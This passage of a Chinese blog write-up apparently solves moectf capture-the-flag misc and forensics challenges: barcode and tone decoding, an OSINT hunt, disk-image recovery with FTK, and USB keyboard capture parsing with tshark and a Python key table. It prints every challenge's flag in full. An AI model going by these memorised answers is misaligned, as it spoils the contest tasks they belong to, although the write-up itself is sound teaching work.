style=\"zoom:80%;\"/\u003e\u003cp\u003e猜了下是条码,就搜了下条码图案,发现是 \u003ccode\u003epdf417\u003c/code\u003e ,想找个在线扫的发现很难找,最后找到个网站可以解这个\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://online-barcode-reader.inliteresearch.com/\"\u003ehttps://online-barcode-reader.inliteresearch.com/\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{WhY_@r3_u_s0_5K1ll3D}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"07-Phone-Call\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#07-Phone-Call\" class=\"headerlink\" title=\"07 Phone Call\"\u003e\u003c/a\u003e07 Phone Call\u003c/h3\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"http://dyf.ink/crypto/classical/others/#_24\"\u003ehttp://dyf.ink/crypto/classical/others/#_24\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/cg1510167/article/details/114279633\"\u003ehttps://blog.csdn.net/cg1510167/article/details/114279633\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_33806914/article/details/91868832\"\u003ehttps://blog.csdn.net/weixin_33806914/article/details/91868832\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e就拖进AE看就行,手动一个一个解的,得到\u003cdel\u003e很臭的\u003c/del\u003eflag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{114514-1919810-7738-9634}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"08-社工题\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#08-%E7%A4%BE%E5%B7%A5%E9%A2%98\" class=\"headerlink\" title=\"08 社工题\"\u003e\u003c/a\u003e08 社工题\u003c/h3\u003e\u003cp\u003e这题可太草了,从假期整到开学……原来有4个博客2个仓库……\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://noahtie.github.io/\"\u003eNoahBox (noahtie.github.io)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://noahbox.github.io/\"\u003ehttps://noahbox.github.io/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://nuoyazhicheng.lofter.com/\"\u003ehttps://nuoyazhicheng.lofter.com/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://masternoah.lofter.com/\"\u003ehttps://masternoah.lofter.com/\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e在hexo博客点签订契约进入lofter博客,在lofter博客点一下上面 \u003cstrong\u003ei\u003c/strong\u003e 一样的标志找到另一个hexo博客,在里面留言板里找到了 HackerHS,最后找到第二个仓库根据意思在里面找到commits,发现莫斯电码,复制到在线网站解密,得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{HAHAHAHAH_NOAH_IS_A_VEGETABLE_CHICKEN}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"09-好-康-的\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#09-%E5%A5%BD-%E5%BA%B7-%E7%9A%84\" class=\"headerlink\" title=\"09 好 康 的\"\u003e\u003c/a\u003e09 好 康 的\u003c/h3\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/qO3mhC6S4aAVXFL.png\" alt=\"rr1\" style=\"zoom:80%;\"/\u003e\u003cp\u003e(被骗一次,之后就会被骗第二次\u003c/p\u003e\u003cp\u003e太草了,放完发现后面有一段不能放,用 \u003ccode\u003emkvtoolnix\u003c/code\u003e 分离出来字幕,拖进\u003ccode\u003e010 Editor\u003c/code\u003e 直接搜索 \u003ccode\u003emoectf\u003c/code\u003e ,找到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{N3v3r_90tt@_L3t-y0U_dOwN~}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"10-easyForensics\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#10-easyForensics\" class=\"headerlink\" title=\"10 easyForensics\"\u003e\u003c/a\u003e10 easyForensics\u003c/h3\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/luostudent/article/details/113786916?utm_term=base64%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%BD%AC%E6%96%87%E4%BB%B6python\u0026amp;utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~sobaiduweb~default-1-113786916\u0026amp;spm=3001.4430\"\u003ehttps://blog.csdn.net/luostudent/article/details/113786916?utm_term=base64%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%BD%AC%E6%96%87%E4%BB%B6python\u0026amp;utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~sobaiduweb~default-1-113786916\u0026amp;spm=3001.4430\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_37865996/article/details/87970732\"\u003ehttps://blog.csdn.net/qq_37865996/article/details/87970732\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://blog.sina.com.cn/s/blog_68f8a3370102vqv7.html\"\u003ehttp://blog.sina.com.cn/s/blog_68f8a3370102vqv7.html\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e找了半天,用 \u003ccode\u003eAccessData FTK Imager\u003c/code\u003e 打开,挂载,进入,翻目录找到 \u003ccode\u003eflag.mp4\u003c/code\u003e 一气呵成\u003c/p\u003e\u003cp\u003e打开 \u003ccode\u003eflag.mp4\u003c/code\u003e \u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/qO3mhC6S4aAVXFL.png\" alt=\"rr1\" style=\"zoom:80%;\"/\u003e\u003cp\u003e草\u003c/p\u003e\u003cp\u003e又经过了漫长的鼓捣,最后在 \u003ccode\u003eFTK\u003c/code\u003e 里发现一些被删除的文件夹还有一个python文件,都是申必的命名,全部导出来,读了代码发现是把一个文件转成base64了,这里要注意 \u003ccode\u003edata = data.replace(\u0026#34;/\u0026#34;, \u0026#34;_\u0026#34;)\u003c/code\u003e\u003c/p\u003e\u003cp\u003e写了个脚本把文件夹的名字提取了出来(发现写了两个,好像差不多,随便粘一个)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token comment\"\u003e# -*- coding: utf-8 -*-\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e os\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e base64\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e sysfile_dir \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users\\\\(之后目录省略)\u0026#39;\u003c/span\u003es \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e root\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e dirs\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e files \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewalk\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efile_dir\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e var \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e root s \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e s \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e var\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e54\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003es \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e s\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ereplace\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;_\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;/\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users\\\\(之后目录省略)\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;w\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003es\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;success\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后用脚本把base64转文件,还搜了个大佬写的图形化工具,(最后发现是个word)得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{Th@_1s_N0t_U53FULL_@_4LL}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"11-R-P-G\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#11-R-P-G\" class=\"headerlink\" title=\"11 R P G\"\u003e\u003c/a\u003e11 R P G\u003c/h3\u003e\u003cp\u003e是游戏捏,按F12还能出来 DevTools 捏,本来想怎么改地图直接穿过去,发现不会整,然后又改了下等级,好像也没啥用,然后又整了一下一进去就是第二个,还是不会整,最后在\u003ccode\u003eMap002.json\u003c/code\u003e 里发现了好像base64的申必字符,然后复制出来,得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{Th3_w0rld_0f_G4m3}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"12-诺亚的日记\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#12-%E8%AF%BA%E4%BA%9A%E7%9A%84%E6%97%A5%E8%AE%B0\" class=\"headerlink\" title=\"12 诺亚的日记\"\u003e\u003c/a\u003e12 诺亚的日记\u003c/h3\u003e\u003cp\u003e\u003cdel\u003e我超,嘉心糖\u003c/del\u003e\u003c/p\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qiuchi1975/article/details/106149854/\"\u003ehttps://blog.csdn.net/qiuchi1975/article/details/106149854/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/u012388993/article/details/116395497\"\u003ehttps://blog.csdn.net/u012388993/article/details/116395497\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.codercto.com/a/109222.html\"\u003ehttps://www.codercto.com/a/109222.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.anquanke.com/post/id/85218\"\u003ehttps://www.anquanke.com/post/id/85218\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/ba9763ceb620\"\u003ehttps://www.jianshu.com/p/ba9763ceb620\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/756aa623c3b5\"\u003ehttps://www.jianshu.com/p/756aa623c3b5\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html\"\u003ehttps://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/756aa623c3b5\"\u003ehttps://www.jianshu.com/p/756aa623c3b5\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html\"\u003ehttps://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e是个流量包捏,随便翻了一下里面 \u003ccode\u003eHID Data\u003c/code\u003e 里好像有好东西捏,但怎么提取出来捏?看了上面的博客,先把流量包用 \u003ccode\u003etshark\u003c/code\u003e 转换成json,找到 \u003ccode\u003eHID Data\u003c/code\u003e 叫啥,然后再提出来\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003etshark.exe \u003cspan class=\"token parameter variable\"\u003e-T\u003c/span\u003e json \u003cspan class=\"token parameter variable\"\u003e-r\u003c/span\u003e pcapng.pcap \u003cspan class=\"token operator\"\u003e\u0026gt;\u003c/span\u003e test.json\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003etshark.exe \u003cspan class=\"token parameter variable\"\u003e-r\u003c/span\u003e pcapng.pcap \u003cspan class=\"token parameter variable\"\u003e-T\u003c/span\u003e fields \u003cspan class=\"token parameter variable\"\u003e-e\u003c/span\u003e usbhid.data \u003cspan class=\"token operator\"\u003e\u0026gt;\u003c/span\u003e usbdata.txt\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后看博客里面只有两位是有用的,然后就是对着表翻译。找了好多脚本都是错的,交了很多次……最后终于找到个有用的\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token comment\"\u003e# coding:utf-8\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e sys\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e osusb_codes \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x04\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;aA\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x05\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;bB\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x06\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;cC\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x07\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;dD\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;eE\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x09\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;fF\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0A\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;gG\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;hH\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0C\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;iI\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;jJ\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0E\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;kK\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;lL\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;mM\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;nN\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;oO\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x13\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;pP\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;qQ\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;rR\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;sS\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x17\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;tT\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x18\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;uU\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;vV\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1A\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;wW\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;xX\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1C\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;yY\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;zZ\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1E\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;1!\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;2@\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;3#\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x21\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;4$\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;5%\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;6^\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;7\u0026amp;\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;8*\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x26\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;9(\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x27\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;0)\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2C\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;-_\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2E\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;=+\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;[{\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x30\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;]}\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x32\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;#~\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x33\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;;:\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x34\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;\u0026#39;\\\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x36\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;,\u0026lt;\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x37\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;.\u0026gt;\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x4f\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;\u0026gt;\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x50\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token 